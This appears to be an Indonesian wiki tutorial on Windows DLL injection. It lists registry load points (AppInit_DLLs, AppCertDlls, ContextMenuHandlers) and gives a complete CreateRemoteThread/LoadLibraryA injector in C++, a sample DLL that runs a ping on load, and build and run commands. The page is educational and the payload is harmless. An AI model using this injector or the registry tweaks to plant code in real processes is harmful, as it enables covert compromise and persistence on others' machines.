Jump to content

DLL Injection

From Haidhi Wiki
Revision as of 02:29, 11 April 2025 by SanzSkuy (talk | contribs)

DLL Injection adalah teknik untuk menyusupkan code ke dalam proses lain di Windows dengan cara menyisipkan file DLL ke proses target. Windows memang memberikan fitur ini untuk tujuan keamanan, sandboxing, dan juga pemrosesan grafik. Tetapi bisa juga disalahgunakan untuk menyusupkan file DLL yang 'jahat'. Kita dapat menggunakan serangkaian registry untuk melakukan teknik ini. warning: hacking without permission is illegal

AppInit_DLLs

Path: 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

Semua DLL yang ada di registry ini akan diload ke proses yang menggunakan user.dll. Di Windows 8 ke atas, fitur ini mati secara default, tetapi bisa diaktifkan lagi dengan registry tweak yang membutuhkan admin access:

RequireSignedAppInit_DLLs = 0
LoadAppInit_DLLs = 1

AppCertDlls

Path: 
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls

Semua DLL yang ada di registry ini akan diload ke proses yang membuat PROSES BARU. Contoh: kita akan membuat sebuah proses ketika membuka cmd. Jika kita menulis perintah notepad, maka cmd akan membuat proses baru lagi untuk notepad.

Function-function yang digunakan untuk me-load DLL yang berada di registry ini:

  • CreateProcess
  • CreateProcessAsUser
  • CreateProcessWithLogonW
  • CreateProcessWithTokenW
  • WinExec

ContextMenuHandlers

Path: 
HKEY_CURRENT_USER\Software\Classes\<AppName>\shellex\ContextMenuHandlers

Fungsi: DLL jadi shell extension di explorer.exe (biasanya buat nambah menu klik kanan).


Hands-on

Function-function yang biasa digunakan untuk DLL Injection:

  • OpenProcess()
  • VirtualAllocEx()
  • WriteProcessMemory()
  • CreateRemoteThread()
  • LoadLibraryA()

OpenProcess()

Fungsi nya untuk mengambil process dari PID target

 
/*
PID target
untuk melihat PID bisa menggunakan process informer
*/
DWORD pid = 420
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

if (hProcess == NULL) {
    std::cout << "Failed to open process. Error: " << GetLastError() << "\n";
    return 1;
}

std::cout << "Success! Process handle: " << hProcess << "\n";

CloseHandle(hProcess);
}

VirtualAllocEx()

Fungsinya untuk meng-alokasikan memori kosong di proses target, misal untuk menulis path DLL

 
const char* dllPath = "C:\\your\\path\\payload.dll";
SIZE_T dllLen = strlen(dllPath) + 1;

LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, dllLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (remoteAddr == NULL) {
    std::cout << "VirtualAllocEx failed. Error: " << GetLastError() << "\n";
} else {
    std::cout << "Memory allocated at: " << remoteAddr << "\n";
}

WriteProcessMemory()

Fungsinya untuk menulis DLL tadi ke proses target

BOOL result = WriteProcessMemory(hProcess, remoteAddr, dllPath, dllLen, NULL);
if (!result) {
    std::cout << "WriteProcessMemory failed. Error: " << GetLastError() << "\n";
} else {
    std::cout << "DLL path written to remote process memory.\n";
}

CreateRemoteThread() + LoadLibraryA

Tujuannya adalah untuk membuat remote thread di proses target. remote thread adalah thread yang dibuat dari proses lain, tapi dijalankan di proses target. Contohnya kita punya program injector.exe yang menyuruh proses lain (misal notepad.exe) untuk menjalankan LoadLibraryA("C:\\jahat.dll");. Tapi notepad.exe sendiri tidak pernah secara sadar memanggil LoadLibraryA — tapi kita “menyusupkan” eksekusinya lewat remote thread.

Jadi begini untuk flow nya:

  • Kita punya executable (.exe) untuk meng-inject DLL jahat
  • executable ini akan menjalankan:
    • OpenProcess() → untuk mendapaatkaan handle ke proses target (misal notepad.exe)
    • VirtualAllocEx() → untuk inject memori ke target
    • WriteProcessMemory() → untuk menulis string path DLL
    • CreateRemoteThread() → untuk menyuruh proses target menjalankan LoadLibraryA(jahat.dll)

apa yang dilakukan LoadLibraryA(jahat.dll)?

  • Meload DLL jahat ke dalam proses target
  • Memanggil DllMain() secara otomatis dengan DLL_PROCESS_ATTACH

Ilustrasi:

[injector.exe]         [notepad.exe]
     |                       |
     |-- OpenProcess() ----->|
     |-- VirtualAllocEx() -->|
     |-- WriteProcessMemory->|
     |-- CreateRemoteThread->| --> LoadLibraryA("jahat.dll")
                             |
                             | --> menjalankan DllMain()
                             | --> notepad sekarang sudah terkena inject💀
LPVOID loadLibraryAddr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

HANDLE hThread = CreateRemoteThread(
    hProcess,
    NULL,
    0,
    (LPTHREAD_START_ROUTINE)loadLibraryAddr,
    remoteAddr,
    0,
    NULL
);

if (hThread == NULL) {
    std::cout << "CreateRemoteThread failed. Error: " << GetLastError() << "\n";
} else {
    std::cout << "Remote thread created.\n";
    WaitForSingleObject(hThread, INFINITE); // tunggu sampai thread selesai
    CloseHandle(hThread);
}


Full Code (injector.cpp)

// injector.cpp
#include <windows.h>
#include <iostream>
#include <string>

int main(int argc, char* argv[]) {
    if (argc < 3) {
        std::cout << "Usage: injector.exe <pid> <path_to_dll>\n";
        return 1;
    }

    DWORD pid = std::stoul(argv[1]); // Konversi string ke DWORD (unsigned long)
    const char* dllPath = argv[2];

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (hProcess == NULL) {
        std::cout << "Failed to open process. Error: " << GetLastError() << "\n";
        return 1;
    }

    std::cout << "Success! Process handle: " << hProcess << "\n";

    SIZE_T dllLen = strlen(dllPath) + 1;
    LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, dllLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (remoteAddr == NULL) {
        std::cout << "VirtualAllocEx failed. Error: " << GetLastError() << "\n";
        CloseHandle(hProcess);
        return 1;
    }

    if (!WriteProcessMemory(hProcess, remoteAddr, dllPath, dllLen, NULL)) {
        std::cout << "WriteProcessMemory failed. Error: " << GetLastError() << "\n";
        VirtualFreeEx(hProcess, remoteAddr, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

    std::cout << "DLL path written to remote process memory.\n";

    LPVOID loadLibraryAddr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    if (loadLibraryAddr == NULL) {
        std::cout << "GetProcAddress failed. Error: " << GetLastError() << "\n";
        VirtualFreeEx(hProcess, remoteAddr, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

    HANDLE hThread = CreateRemoteThread(
        hProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)loadLibraryAddr,
        remoteAddr,
        0,
        NULL
    );

    if (hThread == NULL) {
        std::cout << "CreateRemoteThread failed. Error: " << GetLastError() << "\n";
    } else {
        std::cout << "Remote thread created.\n";
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
    }

    VirtualFreeEx(hProcess, remoteAddr, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    return 0;
}

Contoh DLL yang akan diinject (ping.cpp)

 
// ping.cpp
#include <windows.h>
#include <cstdlib>
#include <thread>


void run_ping() {
    system("ping google.com");
}

extern "C" __declspec(dllexport)
BOOL __stdcall DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // Biar gak nge-freeze proses target, kita pake thread
        std::thread(run_ping).detach();
    }
    return TRUE;
}


Sentuhan Akhir

compile ping.cpp menjadi DLL

g++ -shared -o ping.dll dll_ping.cpp -static-libgcc -static-libstdc++

compile injector.cpp

g++ -o injector injector.cpp

Sekarang buka aplikasi apa saja, contoh paling gampang adalah notepad. Setelah itu cari PID nya berapa, bisa dengan system informer. Setelah itu jalankan

injector.exe PID ping.dll

Hasil: